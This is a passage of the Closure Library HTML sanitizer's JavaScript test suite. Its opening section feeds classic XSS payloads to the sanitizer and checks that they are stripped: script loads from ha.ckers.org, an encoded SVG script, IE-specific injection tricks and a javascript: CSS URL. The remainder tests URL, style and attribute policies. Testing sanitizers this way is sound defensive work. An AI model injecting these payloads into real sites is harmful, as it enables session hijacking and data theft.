724 ' A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv Mj' +
725 'AwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB' +
726 '2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBp' +
727 'ZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpO' +
728 'zwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" ' +
729 'AllowScriptAccess="always"></EMBED>';
730 assertSanitizedHtml(xssHtml, safeHtml);
731
732 // XML namespace. The htc file must be located on the same server as your XSS
733 // vector:
734 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
735 safeHtml = '<span>XSS</span>';
736 xssHtml = '<HTML xmlns:xss>' +
737 '<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">' +
738 '<xss:xss>XSS</xss:xss>' +
739 '</HTML>';
740 assertSanitizedHtml(xssHtml, safeHtml);
741
742 // XML data island with CDATA obfuscation (this XSS attack works only in IE
743 // and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult
744 // while auditing Yahoo:
745 // Browser support: [IE6.0|NS8.1-IE]
746 safeHtml = isIE9 ? '<span><span></span></span>' :
747 '<span><span><span>]]&gt;</span></span></span>' +
748 '<span></span>';
749 xssHtml = '<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]>' +
750 '<![CDATA[cript:xss=true;">]]>' +
751 '</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>';
752 assertSanitizedHtml(xssHtml, safeHtml);
753
754 // HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This
755 // only works in Internet Explorer and Netscape 8.1 in IE rendering engine
756 // mode and remember that you need to be between HTML and BODY tags for this
757 // to work:
758 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
759 safeHtml = '<span></span>';
760 xssHtml = '<HTML><BODY>' +
761 '<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' +
762 '<?import namespace="t" implementation="#default#time2">' +
763 '<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;' +
764 'alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">' +
765 '</BODY></HTML>';
766 assertSanitizedHtml(xssHtml, safeHtml);
767
768 // IMG Embedded commands - this works when the webpage where this is injected
769 // (like a web-board) is behind password protection and that password
770 // protection works with other commands on the same domain. This can be used
771 // to delete users, add users (if the user who visits the page is an
772 // administrator), send credentials elsewhere, etc.... This is one of the
773 // lesser used but more useful XSS vectors:
774 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
775 safeHtml = '<img />';
776 xssHtml = '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?' +
777 'somevariables=maliciouscode">';
778 assertSanitizedHtml(xssHtml, safeHtml);
779
780 // This was tested in IE, your mileage may vary. For performing XSS on sites
781 // that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex
782 // filter "/<script[^>]+src/i":
783 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
784 safeHtml = '';
785 xssHtml = '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
786 assertSanitizedHtml(xssHtml, safeHtml);
787
788 safeHtml = '';
789 xssHtml = '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
790 assertSanitizedHtml(xssHtml, safeHtml);
791
792 // This XSS still worries me, as it would be nearly impossible to stop this
793 // without blocking all active content:
794 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
795 safeHtml = 'PT SRC="http://ha.ckers.org/xss.js"&gt;';
796 xssHtml = '<SCRIPT>document.write("<SCRI");<\/SCRIPT>PT ' +
797 'SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
798 assertSanitizedHtml(xssHtml, safeHtml);
799
800 // US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding
801 // with 7 bits instead of 8. This XSS may bypass many content filters but
802 // only works if the host transmits in US-ASCII encoding, or if you set the
803 // encoding yourself. This is more useful against web application firewall
804 // cross site scripting evasion than it is server side filter evasion. Apache
805 // Tomcat is the only known server that transmits in US-ASCII encoding. I
806 // highly suggest anyone interested in alternate encoding issues look at my
807 // charsets issues page:
808 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
809 // NOTE(danesh): We'd sanitize this if we received the (mis-)appropriately
810 // encoded version of this.
811 // safeHtml = ' script alert( XSS ) /script ';
812 // xssHtml = '¼script¾alert(¢XSS¢)¼/script¾';
813 // assertSanitizedHtml(xssHtml, safeHtml);
814
815 // Escaping JavaScript escapes. When the application is written to output some
816 // user information inside of a JavaScript like the following:
817 // <SCRIPT>var a="$ENV{QUERY_STRING}";<\/SCRIPT> and you want to inject your
818 // own JavaScript into it but the server side application escapes certain
819 // quotes you can circumvent that by escaping their escape character. When
820 // this is gets injected it will read
821 // <SCRIPT>var a="\\";alert('XSS');//";<\/SCRIPT> which ends up un-escaping
822 // the double quote and causing the Cross Site Scripting vector to fire.
823 // The XSS locator uses this method.:
824 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
825 // NOTE(danesh): We expect this to fail. More of a JS sanitizer check or a
826 // server-side template vulnerability test.
827 // safeHtml = '';
828 // xssHtml = '\";alert(window);//';
829 // assertSanitizedHtml(xssHtml, safeHtml);
830 }
831
832
833 function testDataAttributes() {
834 var html = '<div data-xyz="test">Testing</div>';
835 var safeHtml = '<div>Testing</div>';
836 assertSanitizedHtml(html, safeHtml);
837
838 html = '<div data-goomoji="test" data-other="xyz">Testing</div>';
839 var expectedHtml = '<div data-goomoji="test">Testing</div>';
840 assertSanitizedHtml(
841 html, expectedHtml, new goog.html.sanitizer.HtmlSanitizer.Builder()
842 .allowCssStyles()
843 .allowDataAttributes(['data-goomoji'])
844 .build());
845 }
846
847
848 function testDisallowedDataWhitelistingAttributes() {
849 assertThrows(function() {
850 new goog.html.sanitizer.HtmlSanitizer.Builder()
851 .allowDataAttributes(['datai'])
852 .build();
853 });
854
855 // Disallow internal attribute used by html sanitizer
856 assertThrows(function() {
857 new goog.html.sanitizer.HtmlSanitizer.Builder()
858 .allowDataAttributes(['data-i', 'data-sanitizer-safe'])
859 .build();
860 });
861 }
862
863
864 function testBlacklistedWithChildren() {
865 var input = '<form>foo<a>bar</a></form>';
866 var expected = '';
867 assertSanitizedHtml(input, expected);
868
869 input = '<div><form>foo<a>bar</a></form></div>';
870 expected = '<div></div>';
871 assertSanitizedHtml(input, expected);
872 }
873
874
875 function testFormBody() {
876 var safeHtml = '<form>stuff</form>';
877 var formHtml = '<form name="body">stuff</form>';
878 assertSanitizedHtml(
879 formHtml, safeHtml,
880 new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
881 }
882
883
884 function testStyleTag() {
885 var safeHtml = '';
886 var xssHtml = '<STYLE>P.special {color : green;border: solid red;}</STYLE>';
887 assertSanitizedHtml(xssHtml, safeHtml);
888 }
889
890
891 function testOnlyAllowTags() {
892 var result = '<div><span></span>' +
893 '<a href="http://www.google.com">hi</a>' +
894 '<br>Test.<span></span><div align="right">Test</div></div>';
895 // If we were mimicing goog.labs.html.sanitizer, our output would be
896 // '<div><a>hi</a><br>Test.<div>Test</div></div>';
897 assertSanitizedHtml(
898 '<div><img id="bar" name=foo class="c d" ' +
899 'src="http://wherever.com">' +
900 '<a href=" http://www.google.com">hi</a>' +
901 '<br>Test.<hr><div align="right">Test</div></div>',
902 result, new goog.html.sanitizer.HtmlSanitizer.Builder()
903 .onlyAllowTags(['bR', 'a', 'DIV'])
904 .build());
905 }
906
907
908 function testDisallowNonWhitelistedTags() {
909 assertThrows('Should error on elements not whitelisted', function() {
910 new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowTags(['x']);
911 });
912 }
913
914
915 function testDefaultPoliciesAreApplied() {
916 var result = '<img /><a href="http://www.google.com">hi</a>' +
917 '<a href="ftp://whatever.com">another</a>';
918 assertSanitizedHtml(
919 '<img id="bar" name=foo class="c d" ' +
920 'src="http://wherever.com">' +
921 '<a href=" http://www.google.com">hi</a>' +
922 '<a href=ftp://whatever.com>another</a>',
923 result);
924 }
925
926
927 function testCustomNamePolicyIsApplied() {
928 var result = '<img name="myOwnPrefix-foo" />' +
929 '<a href="http://www.google.com">hi</a>' +
930 '<a href="ftp://whatever.com">another</a>';
931 assertSanitizedHtml(
932 '<img id="bar" name=foo class="c d" ' +
933 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
934 '<a href=ftp://whatever.com>another</a>',
935 result, new goog.html.sanitizer.HtmlSanitizer.Builder()
936 .withCustomNamePolicy(function(name) {
937 return 'myOwnPrefix-' + name;
938 })
939 .build());
940 }
941
942
943 function testCustomTokenPolicyIsApplied() {
944 var result = '<img id="myOwnPrefix-bar" ' +
945 'class="myOwnPrefix-c myOwnPrefix-d" />' +
946 '<a href="http://www.google.com">hi</a>' +
947 '<a href="ftp://whatever.com">another</a>';
948 assertSanitizedHtml(
949 '<img id="bar" name=foo class="c d" ' +
950 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
951 '<a href=ftp://whatever.com>another</a>',
952 result, new goog.html.sanitizer.HtmlSanitizer.Builder()
953 .withCustomTokenPolicy(function(name) {
954 return 'myOwnPrefix-' + name;
955 })
956 .build());
957 }
958
959
960 function testMultipleCustomPoliciesAreApplied() {
961 var result = '<img id="plarpalarp-bar" name="larlarlar-foo" ' +
962 'class="plarpalarp-c plarpalarp-d" />' +
963 '<a href="http://www.google.com">hi</a>' +
964 '<a href="ftp://whatever.com">another</a>';
965 assertSanitizedHtml(
966 '<img id="bar" name=foo class="c d" ' +
967 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
968 '<a href=ftp://whatever.com>another</a>',
969 result,
970 new goog.html.sanitizer.HtmlSanitizer.Builder()
971 .withCustomTokenPolicy(function(token) {
972 return 'plarpalarp-' + token;
973 })
974 .withCustomNamePolicy(function(name) { return 'larlarlar-' + name; })
975 .build());
976 }
977
978
979 function testNonTrivialCustomPolicy() {
980 var result = '<img /><a href="http://www.google.com" name="Alacrity">hi</a>' +
981 '<a href="ftp://whatever.com">another</a>';
982 assertSanitizedHtml(
983 '<img id="bar" name=foo class="c d" src="http://wherever.com">' +
984 '<a href=" http://www.google.com" name=Alacrity>hi</a>' +
985 '<a href=ftp://whatever.com>another</a>',
986 result,
987 new goog.html.sanitizer.HtmlSanitizer.Builder()
988 .withCustomNamePolicy(function testNamesMustBeginWithTheLetterA(
989 name) { return name.charAt(0) != 'A' ? null : name; })
990 .build());
991 }
992
993
994 function testNetworkRequestUrlsAllowed() {
995 var result = '<img src="http://wherever.com" />' +
996 '<img src="https://secure.wherever.com" />' +
997 '<img alt="test" src="//wherever.com" />' +
998 '<a href="http://www.google.com">hi</a>' +
999 '<a href="ftp://whatever.com">another</a>';
1000 assertSanitizedHtml(
1001 '<img id="bar" name=foo class="c d" src="http://wherever.com">' +
1002 '<img src="https://secure.wherever.com">' +
1003 '<img alt="test" src="//wherever.com">' +
1004 '<a href=" http://www.google.com">hi</a>' +
1005 '<a href=ftp://whatever.com>another</a>',
1006 result, new goog.html.sanitizer.HtmlSanitizer.Builder()
1007 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1008 .build());
1009 }
1010
1011
1012 function testCustomNRUrlPolicyMustNotContainParameters() {
1013 var result = '<img src="http://wherever.com" /><img />';
1014 assertSanitizedHtml(
1015 '<img id="bar" class="c d" src="http://wherever.com">' +
1016 '<img src="https://www.bank.com/withdraw?amount=onebeeeelion">',
1017 result, new goog.html.sanitizer.HtmlSanitizer.Builder()
1018 .withCustomNetworkRequestUrlPolicy(function(url) {
1019 return url.match(/\?/) ? null :
1020 goog.html.testing.newSafeUrlForTest(url);
1021 })
1022 .build());
1023 }
1024
1025
1026 function testPolicyHints() {
1027 var sanitizer =
1028 new goog.html.sanitizer.HtmlSanitizer.Builder()
1029 .allowFormTag()
1030 .withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
1031 if ((policyHints.tagName == 'img' &&
1032 policyHints.attributeName == 'src') ||
1033 (policyHints.tagName == 'input' &&
1034 policyHints.attributeName == 'src')) {
1035 return goog.html.testing.newSafeUrlForTest(
1036 'https://imageproxy/?' + url);
1037 } else {
1038 return null;
1039 }
1040 })
1041 .withCustomUrlPolicy(function(url, policyHints) {
1042 if (policyHints.tagName == 'a' &&
1043 policyHints.attributeName == 'href') {
1044 return goog.html.testing.newSafeUrlForTest(
1045 'https://linkproxy/?' + url);
1046 }
1047 return goog.html.SafeUrl.sanitize(url);
1048 })
1049 .build();
1050
1051 // TODO(user): update this test to include a stylesheet once they're
1052 // supported (in order to view both branches of the NRUrlPolicy).
1053 var result = '<img src="https://imageproxy/?http://image" /> ' +
1054 '<input type="image" src="https://imageproxy/?http://another" />' +
1055 '<a href="https://linkproxy/?http://link">a link</a>' +
1056 '<form action="http://formaction"></form>';
1057 assertSanitizedHtml(
1058 '<img src="http://image"> <input type="image" ' +
1059 'src="http://another"><a href="http://link">a link</a>' +
1060 '<form action="http://formaction"></form>',
1061 result, sanitizer);
1062 }
1063
1064
1065 function testNRUrlPolicyAffectsCssSanitization() {
1066 var sanitizer =
1067 new goog.html.sanitizer.HtmlSanitizer.Builder()
1068 .allowCssStyles()
1069 .withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
1070 // Network request URLs may only be over https.
1071 if (!/^https:\/\//i.test(url)) {
1072 return null;
1073 }
1074 // CSS background URLs may only come from google.com.
1075 if (policyHints.cssProperty === 'background-image') {
1076 if (!/^https:\/\/www\.google\.com\//i.test(url)) {
1077 return null;
1078 }
1079 }
1080 return goog.html.SafeUrl.sanitize(url);
1081 })
1082 .build();
1083
1084 var sanitizedHtml;
1085 try {
1086 sanitizedHtml = sanitizer.sanitize(
1087 '<div style="background: url(\'https://www.google.com/i.png\')"></div>');
1088 if (isIE9) {
1089 assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
1090 return;
1091 }
1092 assertRegExp(
1093 /background(?:-image)?:.*url\(.?https:\/\/www.google.com\/i.png.?\)/,
1094 getStyle(sanitizedHtml));
1095 } catch (err) {
1096 if (!isIE8) {
1097 throw err;
1098 }
1099 }
1100
1101 try {
1102 sanitizedHtml = sanitizer.sanitize(
1103 '<div style="background: url(\'https://wherever/\')"></div>');
1104 assertNotContains(
1105 'https://wherever/', goog.html.SafeHtml.unwrap(sanitizedHtml));
1106 } catch (err) {
1107 if (!isIE8) {
1108 throw err;
1109 }
1110 }
1111
1112 sanitizedHtml = '<img src="https://www.google.com/i.png">';
1113 assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
1114
1115 sanitizedHtml = '<img src="https://wherever/">';
1116 assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
1117 }
1118
1119
1120 function testAllowOnlyHttpAndHttpsAndFtpForNRUP() {
1121 var input = '<img src="http://whatever">' +
1122 '<img src="https://whatever">' +
1123 '<img src="ftp://nope">' +
1124 '<img src="garbage:nope">' +
1125 '<img src="data:yep">';
1126 var expected = '<img src="http://whatever" />' +
1127 '<img src="https://whatever" />' +
1128 '<img src="ftp://nope">' +
1129 '<img />' +
1130 '<img />';
1131 assertSanitizedHtml(
1132 input, expected,
1133 new goog.html.sanitizer.HtmlSanitizer.Builder()
1134 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1135 .build());
1136 }
1137
1138
1139 function testUriSchemesOnNonNetworkRequestUrls() {
1140 var input = '<a href="ftp://yep">something</a>' +
1141 '<a href="gopher://yep">something</a>' +
1142 '<a href="gopher:nope">something</a>' +
1143 '<a href="http://yep">something</a>' +
1144 '<a href="https://yep">something</a>' +
1145 '<a href="garbage://nope">something</a>' +
1146 '<a href="relative/yup">something</a>' +
1147 '<a href="nope">something</a>' +
1148 '<a>lol</a>';
1149 var expected = '<a href="ftp://yep">something</a>' +
1150 '<a>something</a>' +
1151 '<a>something</a>' +
1152 '<a href="http://yep">something</a>' +
1153 '<a href="https://yep">something</a>' +
1154 '<a>something</a>' +
1155 '<a href="relative/yup">something</a>' +
1156 '<a href="nope">something</a>' +
1157 '<a>lol</a>';
1158 assertSanitizedHtml(
1159 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1160 .withCustomUrlPolicy(goog.html.SafeUrl.sanitize)
1161 .build());
1162 }
1163
1164
1165 function testOverridingGetOrSetAttribute() {
1166 var input = '<form>' +
1167 '<input name=setAttribute />' +
1168 '<input name=getAttribute />' +
1169 '</form>';
1170 var expected = '<form><input><input></form>';
1171 assertSanitizedHtml(
1172 input, expected,
1173 new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
1174 }
1175
1176
1177 function testOverridingBookkeepingAttribute() {
1178 var input = '<div data-sanitizer-foo="1" alt="b">Hello</div>';
1179 var expected = '<div alt="b">Hello</div>';
1180 assertSanitizedHtml(
1181 input, expected,
1182 new goog.html.sanitizer.HtmlSanitizer.Builder()
1183 .withCustomTokenPolicy(function(token) { return token; })
1184 .build());
1185 }
1186
1187
1188 function testTemplateRemoved() {
1189 var input = '<div><template><h1>boo</h1></template></div>';
1190 var expected = '<div></div>';
1191 assertSanitizedHtml(input, expected);
1192 }
1193
1194
1195 function testOriginalTag() {
1196 var input = '<p>Line1<magic></magic></p>';
1197 var expected = '<p>Line1<span ' + otag('magic') + '></span></p>';
1198 assertSanitizedHtml(
1199 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1200 .addOriginalTagNames()
1201 .build());
1202 }
1203
1204
1205 function testOriginalTagOverwrite() {
1206 var input = '<div id="qqq">hello' +
1207 '<a:b id="hi" class="hnn a" boo="3">qqq</a:b></div>';
1208 var expected = '<div>hello<span ' + otag('a:b') + ' id="HI" class="hnn a">' +
1209 'qqq</span></div>';
1210 assertSanitizedHtml(
1211 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1212 .addOriginalTagNames()
1213 .withCustomTokenPolicy(function(token, hints) {
1214 var an = hints.attributeName;
1215 if (an === 'id' && token === 'hi') {
1216 return 'HI';
1217 } else if (an === 'class') {
1218 return token;
1219 }
1220 return null;
1221 })
1222 .build());
1223 }
1224
1225
1226 function testStyleTag_default() {
1227 var input = '<style>a { color: red; qqq: z; ' +
1228 'background-image: url("http://foo.com") }</style>';
1229 var expected = '';
1230 assertSanitizedHtml(
1231 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder().build());
1232 }
1233
1234
1235 function testStyleTag_random() {
1236 var input = '<style>a { color: red; }</style>';
1237 var expected =
1238 /^<SPAN id="(sanitizer-\w+)"><style>#\1 a{color: red;}<\/style><\/SPAN>$/;
1239 var sanitizer =
1240 new goog.html.sanitizer.HtmlSanitizer.Builder().allowStyleTag().build();
1241 assertSanitizedHtml(input, expected, sanitizer);
1242 }
1243
1244
1245 function testStyleTag_withStyleWithoutAllow() {
1246 assertThrows(function() {
1247 new goog.html.sanitizer.HtmlSanitizer.Builder().withStyleContainer('foo');
1248 });
1249 }
1250
1251
1252 function testStyleTag_withStyleInvalid() {
1253 assertThrows(function() {
1254 new goog.html.sanitizer.HtmlSanitizer.Builder().withStyleContainer(
1255 '<script>');
1256 });
1257 }
1258
1259
1260 function testStyleTag_wrappingDisabled() {
1261 var input = '<style>a { color: red; qqq: z; ' +
1262 'background-image: url("http://foo.com") }</style>';
1263 var expected = '<style>a{color: red;}</style>';
1264 assertSanitizedHtml(
1265 input, expected,
1266 new goog.html.sanitizer.HtmlSanitizer.Builder()
1267 .allowStyleTag()
1268 .withStyleContainer()
1269 .build());
1270 }
1271
1272
1273 function testStyleTag_withStyleContainer() {
1274 var input = '<style>a { color: red; }</style>';
1275 var expected = '<style>#foo a{color: red;}</style>';
1276 assertSanitizedHtml(
1277 input, expected,
1278 new goog.html.sanitizer.HtmlSanitizer.Builder()
1279 .allowStyleTag()
1280 .withStyleContainer('foo')
1281 .build());
1282 }
1283
1284
1285 function testStyleTag_networkUrlPolicy() {
1286 var input = '<style>a{background-image: url("http://foo.com");}</style>';
1287 // Safari will strip quotes if they are not needed and add a slash.
1288 var expected = goog.userAgent.product.SAFARI ?
1289 '<style>a{background-image: url(http://foo.com/);}</style>' :
1290 '<style>a{background-image: url("http://foo.com");}</style>';
1291 assertSanitizedHtml(
1292 input, expected,
1293 new goog.html.sanitizer.HtmlSanitizer.Builder()
1294 .allowStyleTag()
1295 .withStyleContainer()
1296 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1297 .build());
1298 }
1299
1300
1301 function testInlineStyleRules_basic() {
1302 var input = '<style>a{color:red}</style><a>foo</a>';
1303 var expected = '<a style="color:red;">foo</a>';
1304 assertSanitizedHtml(
1305 input, expected,
1306 new goog.html.sanitizer.HtmlSanitizer.Builder()
1307 .allowCssStyles()
1308 .inlineStyleRules()
1309 .build());
1310 }
1311
1312
1313 function testInlineStyleRules_specificity() {
1314 var input = '<style>a{color: red; border-width: 1px}' +
1315 '#foo{color: white;}</style>' +
1316 '<a id="foo">foo</a>';
1317 var expected = '<a id="foo" style="color: white; border-width: 1px">foo</a>';
1318 assertSanitizedHtml(
1319 input, expected,
1320 new goog.html.sanitizer.HtmlSanitizer.Builder()
1321 .allowCssStyles()
1322 .inlineStyleRules()
1323 .withCustomTokenPolicy(goog.functions.identity)
1324 .build());
1325 }
1326
1327
1328 function testInlineStyleRules_required() {
1329 assertThrows(function() {
1330 new goog.html.sanitizer.HtmlSanitizer.Builder()
1331 .inlineStyleRules();
1332 });
1333 }
1334
1335
1336 function testInlineStyleRules_incompatible() {
1337 assertThrows(function() {
1338 new goog.html.sanitizer.HtmlSanitizer.Builder()
1339 .allowCssStyles()
1340 .inlineStyleRules()
1341 .allowStyleTag();
1342 });
1343 assertThrows(function() {
1344 new goog.html.sanitizer.HtmlSanitizer.Builder()
1345 .allowStyleTag()
1346 .allowCssStyles()
1347 .inlineStyleRules();
1348 });
1349 }
1350
1351
1352 function testInlineStyleRules_allowsExistingStyleAttributes() {
1353 var input = '<style>a{color:red}</style><a style="font-weight: bold">foo</a>';
1354 var expected = '<a style="color: red; font-weight: bold">foo</a>';
1355 assertSanitizedHtml(
1356 input, expected,
1357 new goog.html.sanitizer.HtmlSanitizer.Builder()
1358 .allowCssStyles()
1359 .inlineStyleRules()
1360 .build());
1361 }
1362
1363
1364 function testInlineStyleRules_inlinedBeforeRenaming() {
1365 var input = '<style>#bar{color:red}</style><a id="bar">baz</a>';
1366 var expected = '<a id="foo-bar" style="color:red">baz</a>';
1367 assertSanitizedHtml(
1368 input, expected,
1369 new goog.html.sanitizer.HtmlSanitizer.Builder()
1370 .allowCssStyles()
1371 .inlineStyleRules()
1372 .withCustomTokenPolicy(function(id) {
1373 return 'foo-' + id;
1374 })
1375 .build());
1376 }
1377
1378 function testInlineStyleRules_networkRequestUrlPolicy() {
1379 var input =
1380 '<style>a{background-image: url("http://foo.com")}</style><a>foo</a>';
1381 var expected = '<a>foo</a>';
1382 assertSanitizedHtml(
1383 input, expected,
1384 new goog.html.sanitizer.HtmlSanitizer.Builder()
1385 .allowCssStyles()
1386 .inlineStyleRules()
1387 .build());
1388
1389 expected = '<a style="background-image: url(\'http://foo.com\')">foo</a>';
1390 assertSanitizedHtml(
1391 input, expected,
1392 new goog.html.sanitizer.HtmlSanitizer.Builder()
1393 .allowCssStyles()
1394 .inlineStyleRules()
1395 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1396 .build());
1397
1398 input = '<style>a{background-image: url("javascript:alert(1)")}</style>' +
1399 '<a>foo</a>';
1400 expected = '<a>foo</a>';
1401 assertSanitizedHtml(
1402 input, expected,
1403 new goog.html.sanitizer.HtmlSanitizer.Builder()
1404 .allowCssStyles()
1405 .inlineStyleRules()
1406 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
1407 .build());
1408 }
1409
1410
1411 function testOriginalTagClobber() {
1412 var input = '<a:b data-sanitizer-original-tag="xss"></a:b>';
1413 var expected = '<span ' + otag('a:b') + '></span>';
1414 assertSanitizedHtml(
1415 input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
1416 .addOriginalTagNames()
1417 .build());
1418 }
1419
1420
1421 // the tests below investigate how <span> behaves when it is unknowingly put
1422 // as child or parent of other elements due to sanitization. <div> had even more
1423 // problems (e.g. cannot be a child of <p>)
1424
1425
1426 /**
1427 * Sanitize content, let the browser apply its own HTML tree correction by
1428 * attaching the content to the document, and then assert it matches the
1429 * expected value.
1430 * @param {string} expected
1431 * @param {string} input
1432 */
1433 function assertAfterInsertionEquals(expected, input) {
1434 var sanitizer =
1435 new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build();
1436 input = goog.html.SafeHtml.unwrap(sanitizer.sanitize(input));
1437 var div = document.createElement('div');
1438 document.body.appendChild(div);
1439 div.innerHTML = input;
1440 goog.testing.dom.assertHtmlMatches(
1441 expected, div.innerHTML, true /* opt_strictAttributes */);
1442 div.parentNode.removeChild(div);
1443 }
1444
1445
1446 function testSpanNotCorrectedByBrowsersOuter() {
1447 if (isIE8 || isIE9) {
1448 return;
1449 }
1450 goog.array.forEach(
1451 goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
1452 if (goog.array.contains(
1453 [
1454 'BR', 'IMG', 'AREA', 'COL', 'COLGROUP', 'HR', 'INPUT',
1455 'SOURCE', 'WBR'
1456 ],
1457 tag)) {
1458 return; // empty elements, ok
1459 }
1460 if (goog.array.contains(['CAPTION'], tag)) {
1461 return; // potential problems
1462 }
1463 if (goog.array.contains(['NOSCRIPT'], tag)) {
1464 return; // weird/not important
1465 }
1466 if (goog.array.contains(
1467 [
1468 'SELECT', 'STYLE', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA',
1469 'TFOOT', 'THEAD', 'TH'
1470 ],
1471 tag)) {
1472 return; // consistent in whitelist, ok
1473 }
1474 var input = '<' + tag.toLowerCase() + '>a<span></span>a</' +
1475 tag.toLowerCase() + '>';
1476 assertAfterInsertionEquals(input, input);
1477 });
1478 }
1479
1480
1481 function testSpanNotCorrectedByBrowsersInner() {
1482 if (isIE8 || isIE9) {
1483 return;
1484 }
1485 goog.array.forEach(
1486 goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
1487 if (goog.array.contains(
1488 [
1489 'CAPTION', 'STYLE', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA',
1490 'TFOOT', 'THEAD', 'TH'
1491 ],
1492 tag)) {
1493 return; // consistent in whitelist, ok
1494 }
1495 if (goog.array.contains(['COL', 'COLGROUP'], tag)) {
1496 return; // potential problems
1497 }
1498 // TODO(pelizzi): Skip testing for FORM tags on Chrome until b/32550695
1499 // is fixed.
1500 if (tag == 'FORM' && goog.userAgent.WEBKIT) {
1501 return;
1502 }
1503 var input;
1504 if (goog.array.contains(
1505 [
1506 'BR', 'IMG', 'AREA', 'COL', 'COLGROUP', 'HR', 'INPUT',
1507 'SOURCE', 'WBR' // empty elements, ok
1508 ],
1509 tag)) {
1510 input = '<span>a<' + tag.toLowerCase() + '>a</span>';
1511 } else {
1512 input = '<span>a<' + tag.toLowerCase() + '>a</' + tag.toLowerCase() +
1513 '>a</span>';
1514 }
1515 assertAfterInsertionEquals(input, input);
1516 });
1517 }
1518
1519
1520 function testTemplateTagToSpan() {
1521 var input = '<template alt="yes"><p>q</p></template>';
1522 var expected = '<span alt="yes"><p>q</p></span>';
1523 // TODO(pelizzi): use unblockTag once it's available
1524 delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
1525 assertSanitizedHtml(input, expected);
1526 goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
1527 }
1528
1529
1530 function testTemplateTagWhitelisted() {
1531 var input = '<div><template alt="yes"><p>q</p></template></div>';
1532 // TODO(pelizzi): use unblockTag once it's available
1533 delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
1534 var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
1535 goog.html.sanitizer.unsafe.alsoAllowTags(
1536 justification, builder, ['TEMPLATE']);
1537 assertSanitizedHtml(input, input, builder.build());
1538 goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
1539 }
1540
1541
1542 function testTemplateTagFake() {
1543 var input = '<template data-sanitizer-original-tag="template">a</template>';
1544 var expected = '';
1545 assertSanitizedHtml(input, expected);
1546 }
1547
1548
1549 function testTemplateNested() {
1550 var input = '<template><p>a</p><zzz alt="a"/><script>z</script><template>' +
1551 '<p>a</p><zzz alt="a"/><script>z</script></template></template>';
1552 var expected = '<template><p>a</p><span alt="a"></span><template>' +
1553 '<p>a</p><span alt="a"></span></template></template>';
1554 // TODO(pelizzi): use unblockTag once it's available
1555 delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
1556 var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
1557 goog.html.sanitizer.unsafe.alsoAllowTags(
1558 justification, builder, ['TEMPLATE']);
1559 assertSanitizedHtml(input, expected, builder.build());
1560 goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
1561 }
1562
1563
1564 function testOnlyAllowEmptyAttrList() {
1565 var input = '<p alt="nope" aria-checked="true" zzz="1">b</p>' +
1566 '<a target="_blank">c</a>';
1567 var expected = '<p>b</p><a>c</a>';
